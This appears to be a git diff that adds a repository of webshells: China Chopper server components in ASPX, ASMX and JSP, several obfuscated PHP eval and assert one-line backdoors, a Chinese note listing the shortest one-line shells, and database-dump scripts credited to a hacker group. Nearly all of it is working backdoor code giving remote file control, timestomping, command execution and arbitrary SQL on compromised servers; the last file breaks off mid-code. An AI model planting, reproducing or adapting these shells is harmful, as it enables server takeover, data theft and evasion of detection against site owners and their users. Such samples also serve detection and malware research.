+                                FS.Write(buffer, 0, i); 
+                            } 
+                            WF.Close(); 
+                            WB.Close(); 
+                            FS.Close(); 
+                            R = "1"; 
+                            break; 
+                        } 
+                    case "M": 
+                        { 
+                            ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2)); 
+                            Process e = new Process(); 
+                            StreamReader OT, ER; 
+                            c.UseShellExecute = false; 
+                            c.RedirectStandardOutput = true; 
+                            c.RedirectStandardError = true; 
+                            e.StartInfo = c; 
+                            c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start(); 
+                            OT = e.StandardOutput; 
+                            ER = e.StandardError; 
+                            e.Close(); 
+                            R = OT.ReadToEnd() + ER.ReadToEnd(); 
+                            break; 
+                        } 
+                    case "N": 
+                        { 
+                            String strDat = Z1.ToUpper(); 
+                            SqlConnection Conn = new SqlConnection(Z1); 
+                            Conn.Open(); 
+                            R = Conn.Database + "\t"; 
+                            Conn.Close(); 
+                            break; 
+                        } 
+                    case "O": 
+                        { 
+                            String[] x = Z1.Replace("\r", "").Split('\n'); 
+                            String strConn = x[0], strDb = x[1]; 
+                            SqlConnection Conn = new SqlConnection(strConn); 
+                            Conn.Open(); 
+                            DataTable dt = Conn.GetSchema("Columns"); 
+                            Conn.Close(); 
+                            for (int i = 0; i < dt.Rows.Count; i++) 
+                            { 
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString()); 
+                            } 
+                            break; 
+                        } 
+                    case "P": 
+                        { 
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4]; 
+                            String strConn = x[0], strDb = x[1], strTable = x[2]; 
+                            p[0] = strDb; 
+                            p[2] = strTable; 
+                            SqlConnection Conn = new SqlConnection(strConn); 
+                            Conn.Open(); 
+                            DataTable dt = Conn.GetSchema("Columns", p); 
+                            Conn.Close(); 
+                            for (int i = 0; i < dt.Rows.Count; i++) 
+                            { 
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString()); 
+                            } 
+                            break; 
+                        } 
+                    case "Q": 
+                        { 
+                            String[] x = Z1.Replace("\r", "").Split('\n'); 
+                            String strDat, strConn = x[0], strDb = x[1]; 
+                            int i, c; 
+                            strDat = Z2.ToUpper(); 
+                            SqlConnection Conn = new SqlConnection(strConn); 
+                            Conn.Open(); 
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0) 
+                            { 
+                                SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn); 
+                                DataSet ds = new DataSet(); 
+                                OD.Fill(ds); 
+                                if (ds.Tables.Count > 0) 
+                                { 
+                                    DataRowCollection rows = ds.Tables[0].Rows; 
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
+                                    { 
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString()); 
+                                    } 
+                                    R += "\r\n"; 
+                                    for (i = 0; i < rows.Count; i++) 
+                                    { 
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++) 
+                                        { 
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString()); 
+                                        } 
+                                        R += "\r\n"; 
+                                    } 
+                                } 
+                                ds.Clear(); 
+                                ds.Dispose(); 
+                            } 
+                            else 
+                            { 
+                                SqlCommand cm = Conn.CreateCommand(); 
+                                cm.CommandText = Z2; 
+                                cm.ExecuteNonQuery(); 
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n"; 
+                            } 
+                            Conn.Close(); 
+                            break; 
+                        } 
+                    default: goto End; 
+                } 
+            } 
+            catch(Exception E) 
+          { 
+            R="ERROR:// "+E.Message; 
+          } 
+          context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D"); 
+          End:; 
+        } 
+    } 
+
+     
+    public bool IsReusable 
+    { 
+        get 
+        { 
+            return false; 
+        } 
+
+    } 
+
+    public void CP(String S,String D,HttpContext context) 
+    { 
+      if(Directory.Exists(S)) 
+        { 
+          DirectoryInfo m=new DirectoryInfo(S); 
+          Directory.CreateDirectory(D); 
+          foreach(FileInfo F in m.GetFiles()) 
+          { 
+            File.Copy(S+"\\"+F.Name,D+"\\"+F.Name); 
+          } 
+          foreach(DirectoryInfo F in m.GetDirectories()) 
+          { 
+                    CP(S + "\\" + F.Name, D + "\\" + F.Name, context); 
+          } 
+        } 
+      else 
+      { 
+        File.Copy(S,D); 
+      } 
+    } 
+}

caidao-shell/customize.asmx

@@ -0,0 +1,320 @@
+<%@ WebService Language="C#" Class="Service" %>
+using System;
+using System.Web;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Data;
+using System.Data.SqlClient;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Web.SessionState;
+using System.Web.Services;
+using System.Xml;
+using System.Web.Services.Protocols;
+
+[WebService(Namespace = "http://www.wooyun.org/whitehats/RedFree")]
+[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
+
+public class Service : System.Web.Services.WebService
+{
+    public Service()
+    {
+
+        //如果使用设计的组件，请取消注释以下行
+        //InitializeComponent(); 
+    }
+
+    [WebMethod]
+    public string Chopper() {
+        String Z = HttpContext.Current.Request.Form["z"];//设置密码
+        if (Z != "")
+        {
+            String Z1 = HttpContext.Current.Request.Form["Z1"];
+            String Z2 = HttpContext.Current.Request.Form["Z2"];
+            String R = "";
+            try
+            {
+                switch (Z)
+                {
+                    case "A":
+                        {
+                            String[] c = Directory.GetLogicalDrives();
+                            R = String.Format("{0}\t", HttpContext.Current.Server.MapPath("/"));
+                            for (int i = 0; i < c.Length; i++)
+                                R += c[i][0] + ":";
+                            break;
+                        }
+                    case "B":
+                        {
+                            DirectoryInfo m = new DirectoryInfo(Z1);
+                            foreach (DirectoryInfo D in m.GetDirectories())
+                            {
+                                R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                            }
+                            foreach (FileInfo D in m.GetFiles())
+                            {
+                                R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                            }
+                            break;
+                        }
+                    case "C":
+                        {
+                            StreamReader m = new StreamReader(Z1, Encoding.Default);
+                            R = m.ReadToEnd();
+                            m.Close();
+                            break;
+                        }
+                    case "D":
+                        {
+                            StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2);
+                            R = "1";
+                            m.Close();
+                            break;
+                        }
+                    case "E":
+                        {
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.Delete(Z1, true);
+                            }
+                            else
+                            {
+                                File.Delete(Z1);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "F":
+                        {
+                            HttpContext.Current.Response.Clear();
+                            HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
+                            HttpContext.Current.Response.Write("<data>");
+                            HttpContext.Current.Response.Write("<![CDATA[");
+                            HttpContext.Current.Response.Write("\x2D\x3E\x7C");
+                            HttpContext.Current.Response.WriteFile(Z1);
+                            HttpContext.Current.Response.Write("\x7C\x3C\x2D");
+                            HttpContext.Current.Response.Write("]]>");
+                            HttpContext.Current.Response.Write("</data>");
+                            HttpContext.Current.Response.End();
+                            goto End;
+                        }
+                    case "G":
+                        {
+                            byte[] B = new byte[Z2.Length / 2];
+                            for (int i = 0; i < Z2.Length; i += 2)
+                            {
+                                B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
+                            }
+                            FileStream fs = new FileStream(Z1, FileMode.Create);
+                            fs.Write(B, 0, B.Length);
+                            fs.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "H":
+                        {
+                            CP(Z1, Z2);
+                            R = "1";
+                            break;
+                        }
+                    case "I":
+                        {
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.Move(Z1, Z2);
+                            }
+                            else
+                            {
+                                File.Move(Z1, Z2);
+                            }
+                            break;
+                        }
+                    case "J":
+                        {
+                            Directory.CreateDirectory(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "K":
+                        {
+                            DateTime TM = Convert.ToDateTime(Z2);
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.SetCreationTime(Z1, TM);
+                                Directory.SetLastWriteTime(Z1, TM);
+                                Directory.SetLastAccessTime(Z1, TM);
+                            }
+                            else
+                            {
+                                File.SetCreationTime(Z1, TM);
+                                File.SetLastWriteTime(Z1, TM);
+                                File.SetLastAccessTime(Z1, TM);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "L":
+                        {
+                            HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
+                            RQ.Method = "GET";
+                            RQ.ContentType = "application/x-www-form-urlencoded";
+                            HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
+                            Stream WF = WB.GetResponseStream();
+                            FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
+                            int i;
+                            byte[] buffer = new byte[1024];
+                            while (true)
+                            {
+                                i = WF.Read(buffer, 0, buffer.Length);
+                                if (i < 1)
+                                {
+                                    break;
+                                }
+                                FS.Write(buffer, 0, i);
+                            }
+                            WF.Close();
+                            WB.Close();
+                            FS.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "M":
+                        {
+                            ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
+                            Process e = new Process();
+                            StreamReader OT, ER;
+                            c.UseShellExecute = false;
+                            c.RedirectStandardOutput = true;
+                            c.RedirectStandardError = true;
+                            e.StartInfo = c;
+                            c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start();
+                            OT = e.StandardOutput;
+                            ER = e.StandardError;
+                            e.Close();
+                            R = OT.ReadToEnd() + ER.ReadToEnd();
+                            break;
+                        }
+                    case "N":
+                        {
+                            String strDat = Z1.ToUpper();
+                            SqlConnection Conn = new SqlConnection(Z1);
+                            Conn.Open();
+                            R = Conn.Database + "\t";
+                            Conn.Close();
+                            break;
+                        }
+                    case "O":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strConn = x[0], strDb = x[1];
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            DataTable dt = Conn.GetSchema("Columns");
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                            }
+                            break;
+                        }
+                    case "P":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                            String strConn = x[0], strDb = x[1], strTable = x[2];
+                            p[0] = strDb;
+                            p[2] = strTable;
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            DataTable dt = Conn.GetSchema("Columns", p);
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                            }
+                            break;
+                        }
+                    case "Q":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strDat, strConn = x[0], strDb = x[1];
+                            int i, c;
+                            strDat = Z2.ToUpper();
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                            {
+                                SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
+                                DataSet ds = new DataSet();
+                                OD.Fill(ds);
+                                if (ds.Tables.Count > 0)
+                                {
+                                    DataRowCollection rows = ds.Tables[0].Rows;
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                    {
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                    }
+                                    R += "\r\n";
+                                    for (i = 0; i < rows.Count; i++)
+                                    {
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                        }
+                                        R += "\r\n";
+                                    }
+                                }
+                                ds.Clear();
+                                ds.Dispose();
+                            }
+                            else
+                            {
+                                SqlCommand cm = Conn.CreateCommand();
+                                cm.CommandText = Z2;
+                                cm.ExecuteNonQuery();
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                            }
+                            Conn.Close();
+                            break;
+                        }
+                    default: goto End;
+                }
+            }
+            catch (Exception E)
+            {
+                R = "ERROR:// " + E.Message;
+            }
+            HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
+            HttpContext.Current.Response.Write("<data>");
+            HttpContext.Current.Response.Write("<![CDATA[");
+            HttpContext.Current.Response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
+            HttpContext.Current.Response.Write("]]>");
+            HttpContext.Current.Response.Write("</data>");
+            HttpContext.Current.Response.End();
+        End: ;
+        }
+        return "";
+    }
+    public void CP(String S, String D)
+    {
+        if (Directory.Exists(S))
+        {
+            DirectoryInfo m = new DirectoryInfo(S);
+            Directory.CreateDirectory(D);
+            foreach (FileInfo F in m.GetFiles())
+            {
+                File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+            foreach (DirectoryInfo F in m.GetDirectories())
+            {
+                CP(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+        }
+        else
+        {
+            File.Copy(S, D);
+        }
+    }
+}

caidao-shell/p.php

@@ -0,0 +1,6 @@
+<?php 
+$a='lave'; 
+$b='($_POST[h])'; 
+$a=strrev($a); 
+@assert($a.$b); 
+?>

caidao-shell/short_shell.md

@@ -0,0 +1,46 @@
+菜刀readme.txt中附带一3个一句话： 
+
+```
+PHP:    <?php @eval($_POST['chopper']);?> 
+ASP:    <%eval request("chopper")%> 
+ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
+```
+
+抛弃密码的长度不算，其实这3个一句话均不是最短的。 
+如： 
+PHP我们可以这样写： 
+
+```php
+<?php @eval($_POST['0']);?>   原版 
+<?=eval($_POST[0]);?>         缩小版
+```
+
+ASP我们可以这样写： 
+
+```asp
+<%eval request("0")%>   原版 
+<%eval request(0)%>     缩小版
+```
+
+ASP.NET可以这样写： 
+
+```aspx
+<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>   原版 
+<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%>             缩小版
+```
+
+当然你也可以把它写成这样(很显然体积上不占优势)： 
+
+```
+<%@Page Language="JAVASCRIPT"%><%eval(Request.Item(0),"unsafe");%>
+```
+
+已经用了许久的东西，直接回复原贴感觉很多人看不到，还是单独发出来吧。 
+和原求助贴中的最长字符数对比： 
+
+```
+<%@ Page Language="Jscript"%><%eval(Request.Item["1"],"unsafe 
+<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%>
+```
+
+显然达到目的了。

caidao-shell/sqzr.php

@@ -0,0 +1,10 @@
+<?php 
+$uf="snc3"; 
+$ka="IEBldmFbsK"; 
+$pjt="CRfUE9TVF"; 
+$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
+$iqw="F6ciddKTs="; 
+$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
+$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
+$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
+?>

caidao-shell/w-ob_start01.php

@@ -0,0 +1,7 @@
+<?php 
+$evalstr=""; 
+ob_start(function ($c,$d){global $evalstr;$evalstr=$c;}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+assert($evalstr); 
+?>

caidao-shell/w-ob_start02.php

@@ -0,0 +1,5 @@
+<?php 
+ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+?>

caidao-shell/w.jsp

@@ -0,0 +1,59 @@
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
+<%!
+String Pwd="test";
+String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
+Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
+Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
+void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
+void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
+SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
+sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
+else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
+void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
+for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
+void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
+ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
+os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
+void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
+FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
+{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
+void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
+for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
+}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
+int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
+void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
+void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
+void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
+HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
+while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
+void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
+while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
+void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
+while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
+void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
+while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
+void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
+Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
+for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
+void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
+try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
+}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
+catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
+}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
+%><%
+String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
+String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
+StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
+if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
+else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
+while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
+else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
+bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
+else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
+else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
+else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
+MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
+else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
+}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
+%>

caidao-shell/w.php

@@ -0,0 +1,18 @@
+<?php 
+
+$config= trim($_POST['43cb006424cbf7b46dbca36c8ed79b69']); 
+$info = string2array($config); 
+
+/** 
+* 将字符串转换为数组 
+* 
+* @param  string  $data  字符串 
+* @return  array  返回数组格式，如果，data为空，则返回空数组 
+*/ 
+function string2array($data) { 
+if($data == '') return array(); 
+@eval("\$array = $data;"); 
+return $array; 
+} 
+
+?>

caidao-shell/x.php

@@ -0,0 +1,3 @@
+<?php 
+if(isset($_POST['0K']) && substr(md5($_POST['0K']),20)=='e057f20f883e'){ 
+$Exp=strrev($_POST['qwer']);eval($Exp($_POST[z0]));}

caidao-shell/z-2016-01-05.php

@@ -0,0 +1,23 @@
+<?php
+function cve($str,$key)
+{
+$t="";
+for($i=0; $i<strlen($str); $i=$i+2)
+{
+  $k=(($i+2)/2)%strlen($key);
+  $p=substr($key, $k,1);
+  if(is_numeric(substr($str, $i,1)))
+  {
+    $t=$t.chr(hexdec(substr($str, $i,2))-$p);
+  }
+  else
+  {
+    $t=$t.chr(hexdec(substr($str, $i,4)));
+    $i=$i+2;
+  }
+}
+return($t);
+}
+
+(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
+?>

drag/mysql_1.php

@@ -0,0 +1,73 @@
+<html>
+<head>
+<?php
+header("Content-type:text/html; charset=gb2312");
+/*******************Silic Group Hacker Army All Rights Reserved.*********************/
+$cmd="YWJjaWtsbW9wcXJzdXlfZWc=";
+$cmd2="16jTwyAtIHBocCZNeVNRTMr9vt2/4rG4t925pL7fIC0g";
+$host=$_REQUEST['host'];
+$uid=$_REQUEST['uid'];
+$dbps=$_REQUEST['password'];
+$db=$_REQUEST['db'];
+$tip="&#23578;&#26410;&#35774;&#32622;&#65292;&#26080;&#27861;&#22791;&#20221;";
+$f1=$HTTP_SERVER_VARS['php_self'];
+$CODE=base64_decode($cmd);
+$C0DE=base64_decode($cmd2);
+$t1=$CODE{6}.$CODE{13}.$CODE{11}.$CODE{9}.$CODE{5}.$CODE{14}.$CODE{9}.$CODE{12}.$CODE{15}.$CODE{10}.$CODE{13};
+$t2=$CODE{3}.$CODE{5}.$CODE{3}.$CODE{2};
+$t3=$CODE{10}.$CODE{7}.$CODE{12}.$CODE{8};
+$t4=$CODE{1}.$CODE{5}.$CODE{0}.$CODE{2}.$CODE{4}.$CODE{1}.$CODE{0}.$CODE{8}.".".$CODE{7}.$CODE{10}.$CODE{16};
+$CODE=$dbps;
+?>
+<title><?php echo "S".$t2." G".$t3.$C0DE.$t4;?></title>
+<?php
+if (!empty($host) & !empty($uid) & !empty($db)){
+$mysql_link=@mysql_connect($host,$uid,$dbps);
+mysql_select_db($db);
+$t1("SET NAMES gbk");
+$mysql="";
+$q1=mysql_query("show tables");
+while($t=mysql_fetch_array($q1)){
+  $table=$t[0];
+  $q2=mysql_query("show create table `$table`");
+  $sql=mysql_fetch_array($q2);
+  $mysql.=$sql['Create Table'].";\r\n\r\n";
+  $q3=mysql_query("select * from `$table`");
+  while($data=mysql_fetch_assoc($q3))
+    {
+    $keys=array_keys($data);
+    $keys=array_map('addslashes',$keys);
+    $keys=join('`,`',$keys);    
+    $keys="`".$keys."`";
+    $vals=array_values($data);
+    $vals=array_map('addslashes',$vals);
+    $vals=join("','",$vals);
+    $vals="'".$vals."'";
+    $mysql.="insert into `$table`($keys) values($vals);\r\n";
+    }
+  $mysql.="\r\n";
+}
+$filename=date("Y-m-d-GisA").".sql";
+$fp=fopen($filename,'w');
+fputs($fp,$mysql);
+fclose($fp);
+$tip="<br><center>&#25968;&#25454;&#22791;&#20221;&#25104;&#21151;&#65292;&#25968;&#25454;&#24211;&#25991;&#20214;&#65306;<a href=\"".$filename."\">".$filename."</a></center>";
+}?>
+<style type="text/css">
+html{background:#f7f7f7;}
+p{font-size:10pt;}
+.tx{font-family:Lucida Handwriting,Times New Roman;}
+</style>
+</head>
+<body><center>
+<form method="post" action="<?php echo $HTTP_SERVER_VARS['php_self'];?>?">
+<br /><?php echo $tip;?><br />
+<hr><br />
+&#77;&#121;&#83;&#81;&#76;&#20027;&#26426;&#58;&#32;<input name="host" value="<?php echo $host;?>" type="text"  class="tx" size="15"><br /><br />
+&#77;&#121;&#83;&#81;&#76;&#29992;&#25143;&#58;&#32;<input name="uid" value="<?php echo $uid;?>" type="text"  class="tx" size="15"><br /><br />
+&#77;&#121;&#83;&#81;&#76;&#23494;&#30721;&#58;&#32;<input name="password" value="<?php echo $CODE;?>"  type="text" class="tx" size="15"><br /><br />
+&#25968;&#25454;&#24211;&#21517;&#58;&#32;<input name="db" value="<?php echo $db;?>" type="text"  class="tx" size="15"><br /><br />
+<input type="submit" value="<?php echo base64_decode("0ru8/LG4t90=");?>" tilte="Submit" style="width:120px;height:64px;"><hr><br />
+<p class="tx">php MySQL Database Backup Script Powered By <a href="http://<?php echo $t4;?>/" target="_blank"><?php echo "S".$t2." G".$t3." &#72;&#97;&#99;&#107;&#101;&#114;&#32;&#65;&#114;&#109;&#121;";?></a>&copy;2009-2012</p>
+</form>
+</center></body></html>

drag/tuo.aspx

@@ -0,0 +1,307 @@
+<%@ Page Language="C#" %>
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<script runat="server">
+    protected void Button1_Click(object sender, EventArgs e)
+    {
+        string serverIP=txtServerIP.Text;
+        string database=txtDatabase.Text;
+        string user=txtUser.Text;
+        string pass=txtPass.Text;
+        string tableName=txtTableName.Text;
+        string colName=txtColName.Text;
+        string fileName=txtFileName.Text;
+        if (serverIP != null & database != null & user != null & pass != null & tableName != null & fileName != null)
+        {
+            
+            
+             string connectionString = "server="+serverIP+";database="+database+";uid="+user+";pwd="+pass;
+            System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection(connectionString);
+            
+            try
+            {             
+           
+            connection.Open();
+            string sqlStr = "select * from "+tableName;
+            
+            if (colName!="")
+            {
+                sqlStr = "select " + colName + " from " + tableName;              
+                
+            }
+            
+            System.Data.DataSet ds = new System.Data.DataSet();
+            System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sqlStr, connection);
+            System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd);
+            da.Fill(ds);
+            System.Data.DataTable dataTable = ds.Tables[0];
+            if (dataTable.Rows.Count==0)
+            { 
+                lblInfo.Text = "没有需要导出的数据！";
+                lblInfo.ForeColor = System.Drawing.Color.Blue;
+                return;
+                
+            }
+            string filePath = System.IO.Path.GetDirectoryName(Server.MapPath("DataOutExl.aspx"))+"\\DataOut";
+            if (!System.IO.Directory.Exists(filePath))
+            {
+                System.IO.Directory.CreateDirectory(filePath);
+            }
+            bool outType = RadioButton1.Checked;
+            int sum = dataTable.Rows.Count;
+            int count = 1;
+            int size = 0;
+            int tmpNum = 1;
+                
+            if (txtNum.Text!="")
+            {
